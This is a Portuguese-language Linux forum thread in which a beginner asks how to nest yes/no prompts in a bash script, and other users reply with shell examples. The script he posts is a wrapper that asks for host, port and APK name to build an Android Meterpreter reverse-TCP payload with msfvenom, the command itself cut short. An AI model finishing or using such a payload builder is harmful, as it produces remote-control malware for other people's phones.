Não consigo colocar uma pergunta dentro da outra

1. Não consigo colocar uma pergunta dentro da outra

Ian pablo
Iantcp4444

(usa Kali)

Enviado em 13/09/2019 - 12:49h

Ola,eu sou iniciante nessa area e estou criando um shell script ele esta dando certo mas queria colocar uma pergunta objetiva dentro da outra e depois perguntas discursivas para executar o comando, mas n estou tendo dúvida com isso so queria saber como coloco pergunta objetiva dentro da outra,porque esta dando erro de finalizar


  


2. Re: Não consigo colocar uma pergunta dentro da outra

Ryuk Shinigami
Ryuk

(usa Nenhuma)

Enviado em 13/09/2019 - 13:10h

Não dá pra entender.
Exemplifique o que está querendo.

Seria algo assim?
#!/bin/bash

read -p "Você gosta de frutas? (s,n) " resp
if [ "$resp" = "s" ]; then
read -p "Qual fruta você quer? (1) banana; (2) pepino: " resp
case "$resp" in
1) echo "Ok, toma uma banana." ;;
2) echo "Ok, toma um pepino." ;;
*) echo "Não tem outra coisa!" ;;
esac
else
echo "Então tá!"
fi




3. Re: Não consigo colocar uma pergunta dentro da outra

Ian pablo
Iantcp4444

(usa Kali)

Enviado em 13/09/2019 - 13:12h

Nao, eu vou passar uma parte do script


4. Re: Não consigo colocar uma pergunta dentro da outra

Ian pablo
Iantcp4444

(usa Kali)

Enviado em 13/09/2019 - 13:16h

Isso é uma parte do script mas eu quero que faça uma pergunta se tem o programa se o usuário disser n o programa fecha e se disse s o programa prossegue

echo -e '\033[05;31m ATENÇÃO tem que ter o metasploit\>

echo -e "\033[0;35mQual a sua payload ? [1]tcp [2]http"
read payload
echo
echo
echo

if [ "$payload" = "1" ]
then

echo -e "\033[1;33mSeu host"
read lhost
echo
echo
echo

echo -e "\033[1;34m Sua porta"
read lport
echo
echo
echo

echo -e "\033[0;36m Nome do apk"
read nome

clear

msfvenom -p android/meterpreter/reverse_tcp lhost=">

echo -e "\033[0;31m Se der certo ele esta em /sdcard/>

fi


5. Re: Não consigo colocar uma pergunta dentro da outra

Marcelo Oliver
msoliver

(usa Debian)

Enviado em 13/09/2019 - 15:27h


Iantcp4444 escreveu:

Isso é uma parte do script mas eu quero que faça uma pergunta se tem o programa,
se o usuário disser n o programa fecha,
e se disse s o programa prossegue

echo -e '\033[05;31m ATENÇÃO tem que ter o metasploit\>

echo -e "\033[0;35mQual a sua payload ? [1]tcp [2]http"
read payload
echo
echo
echo

if [ "$payload" = "1" ]
then

echo -e "\033[1;33mSeu host"
read lhost
echo
echo
echo

echo -e "\033[1;34m Sua porta"
read lport
echo
echo
echo

echo -e "\033[0;36m Nome do apk"
read nome

clear

msfvenom -p android/meterpreter/reverse_tcp lhost=">

echo -e "\033[0;31m Se der certo ele esta em /sdcard/>

fi

Só um detalhe,
Ao invés de perguntar para o usuário se tem determinado programa,
faça o script testar se tal programa existe, exemplo:
if which sed;then echo "Sed Instalado";else echo "Sed Não Instalado";fi 


Importante => echo -e "$(lynx --dump goo.gl/a9KeFc|sed -nr '/^[ ]+Se/,/dou.$/p')"
Att.: Marcelo Oliver


6. Re: Não consigo colocar uma pergunta dentro da outra

Ian pablo
Iantcp4444

(usa Kali)

Enviado em 13/09/2019 - 15:31h

Eu sei mas n sei onde fica o diretório do tal programa e esse e meu primeiro scrtipt então n sei mt bem os códigos, então apenas pergunto pq o programa e so pra meu manuseio , e quando fui fazer a pergunta dentro da outra deu erro quando fui responder






Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts